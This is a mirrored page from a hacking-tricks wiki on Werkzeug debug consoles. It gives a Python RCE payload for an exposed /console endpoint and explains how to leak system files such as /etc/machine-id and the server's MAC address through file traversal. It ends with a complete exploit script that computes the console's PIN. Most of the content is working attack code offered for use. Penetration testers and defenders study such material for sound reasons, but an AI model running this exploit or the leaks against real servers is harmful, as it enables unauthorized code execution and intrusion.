mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-30 16:39:32 +00:00
197 lines
6 KiB
Markdown
197 lines
6 KiB
Markdown
# werkzeug
|
||
|
||
## Console RCE
|
||
|
||
If debug is active you could try to access to `/console` and gain RCE.
|
||
|
||
```python
|
||
__import__('os').popen('whoami').read();
|
||
```
|
||
|
||
![](../../.gitbook/assets/image%20%28348%29.png)
|
||
|
||
There is also several exploits on the internet like [this ](https://github.com/its-arun/Werkzeug-Debug-RCE)or one in metasploit.
|
||
|
||
## Pin Protected
|
||
|
||
In some occasions the /console endpoint is going to be protected by a pin. Here you can find how to generate this pin:
|
||
|
||
* [https://www.daehee.com/werkzeug-console-pin-exploit/](https://www.daehee.com/werkzeug-console-pin-exploit/)
|
||
* [https://ctftime.org/writeup/17955](https://ctftime.org/writeup/17955)
|
||
|
||
### Werkzeug Console PIN Exploit
|
||
|
||
**Copied from the first link.**
|
||
See Werkzeug “console locked” message by forcing debug error page in the app.
|
||
|
||
```text
|
||
The console is locked and needs to be unlocked by entering the PIN.
|
||
You can find the PIN printed out on the standard output of your
|
||
shell that runs the server
|
||
```
|
||
|
||
Locate vulernable Werkzeug debug console at path `vulnerable-site.com/console`, but is locked by secret PIN number.
|
||
|
||
You can reverse the algorithm generating the console PIN. Inspect Werkzeug’s debug `__init__.py` file on server e.g. `python3.5/site-packages/werkzeug/debug/__init__.py`. View [Werkzeug source code repo](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/__init__.py), but better to leak source code through file traversal vulnerability since versions likely differ.
|
||
|
||
In this file, see relevant method outlining steps to generate console PIN:
|
||
|
||
```python
|
||
def get_pin_and_cookie_name(app):
|
||
pin = os.environ.get('WERKZEUG_DEBUG_PIN')
|
||
rv = None
|
||
num = None
|
||
|
||
# Pin was explicitly disabled
|
||
if pin == 'off':
|
||
return None, None
|
||
|
||
# Pin was provided explicitly
|
||
if pin is not None and pin.replace('-', '').isdigit():
|
||
# If there are separators in the pin, return it directly
|
||
if '-' in pin:
|
||
rv = pin
|
||
else:
|
||
num = pin
|
||
|
||
modname = getattr(app, '__module__',
|
||
getattr(app.__class__, '__module__'))
|
||
|
||
try:
|
||
# `getpass.getuser()` imports the `pwd` module,
|
||
# which does not exist in the Google App Engine sandbox.
|
||
username = getpass.getuser()
|
||
except ImportError:
|
||
username = None
|
||
|
||
mod = sys.modules.get(modname)
|
||
|
||
# This information only exists to make the cookie unique on the
|
||
# computer, not as a security feature.
|
||
probably_public_bits = [
|
||
username,
|
||
modname,
|
||
getattr(app, '__name__', getattr(app.__class__, '__name__')),
|
||
getattr(mod, '__file__', None),
|
||
]
|
||
|
||
# This information is here to make it harder for an attacker to
|
||
# guess the cookie name. They are unlikely to be contained anywhere
|
||
# within the unauthenticated debug page.
|
||
private_bits = [
|
||
str(uuid.getnode()),
|
||
get_machine_id(),
|
||
]
|
||
|
||
h = hashlib.md5()
|
||
for bit in chain(probably_public_bits, private_bits):
|
||
if not bit:
|
||
continue
|
||
if isinstance(bit, text_type):
|
||
bit = bit.encode('utf-8')
|
||
h.update(bit)
|
||
h.update(b'cookiesalt')
|
||
|
||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||
|
||
# If we need to generate a pin we salt it a bit more so that we don't
|
||
# end up with the same value and generate out 9 digits
|
||
if num is None:
|
||
h.update(b'pinsalt')
|
||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||
|
||
# Format the pincode in groups of digits for easier remembering if
|
||
# we don't have a result yet.
|
||
if rv is None:
|
||
for group_size in 5, 4, 3:
|
||
if len(num) % group_size == 0:
|
||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||
for x in range(0, len(num), group_size))
|
||
break
|
||
else:
|
||
rv = num
|
||
|
||
return rv, cookie_name
|
||
```
|
||
|
||
Variables needed to exploit the console PIN:
|
||
|
||
```python
|
||
probably_public_bits = [
|
||
username,
|
||
modname,
|
||
getattr(app, '__name__', getattr(app.__class__, '__name__')),
|
||
getattr(mod, '__file__', None),
|
||
]
|
||
|
||
private_bits = [
|
||
str(uuid.getnode()),
|
||
get_machine_id(),
|
||
]
|
||
```
|
||
|
||
* `username` is the user who started this Flask
|
||
* `modname` is flask.app
|
||
* `getattr(app, '__name__', getattr (app .__ class__, '__name__'))` is Flask
|
||
* `getattr(mod, '__file__', None)` is the absolute path of an app.py in the flask directory
|
||
* `uuid.getnode()` is the MAC address of the current computer, `str (uuid.getnode ())` is the decimal expression of the mac address
|
||
* `get_machine_id()` read the value in `/etc/machine-id` or `/proc/sys/kernel/random/boot_i` and return directly if there is
|
||
|
||
To find server MAC address, need to know which network interface is being used to serve the app \(e.g. `ens3`\). If unknown, leak `/proc/net/arp` for device ID and then leak MAC address at `/sys/class/net/<device id>/address`.
|
||
|
||
Convert from hex address to decimal representation by running in python e.g.:
|
||
|
||
```python
|
||
>>> print(0x5600027a23ac)
|
||
94558041547692
|
||
```
|
||
|
||
Once all variables prepared, run exploit script to generate Werkzeug console PIN:
|
||
|
||
```python
|
||
import hashlib
|
||
from itertools import chain
|
||
probably_public_bits = [
|
||
'web3_user',# username
|
||
'flask.app',# modname
|
||
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
|
||
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
|
||
]
|
||
|
||
private_bits = [
|
||
'279275995014060',# str(uuid.getnode()), /sys/class/net/ens33/address
|
||
'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
|
||
]
|
||
|
||
h = hashlib.md5()
|
||
for bit in chain(probably_public_bits, private_bits):
|
||
if not bit:
|
||
continue
|
||
if isinstance(bit, str):
|
||
bit = bit.encode('utf-8')
|
||
h.update(bit)
|
||
h.update(b'cookiesalt')
|
||
#h.update(b'shittysalt')
|
||
|
||
cookie_name = '__wzd' + h.hexdigest()[:20]
|
||
|
||
num = None
|
||
if num is None:
|
||
h.update(b'pinsalt')
|
||
num = ('%09d' % int(h.hexdigest(), 16))[:9]
|
||
|
||
rv =None
|
||
if rv is None:
|
||
for group_size in 5, 4, 3:
|
||
if len(num) % group_size == 0:
|
||
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
|
||
for x in range(0, len(num), group_size))
|
||
break
|
||
else:
|
||
rv = num
|
||
|
||
print(rv)
|
||
```
|
||
|
||
|
||
|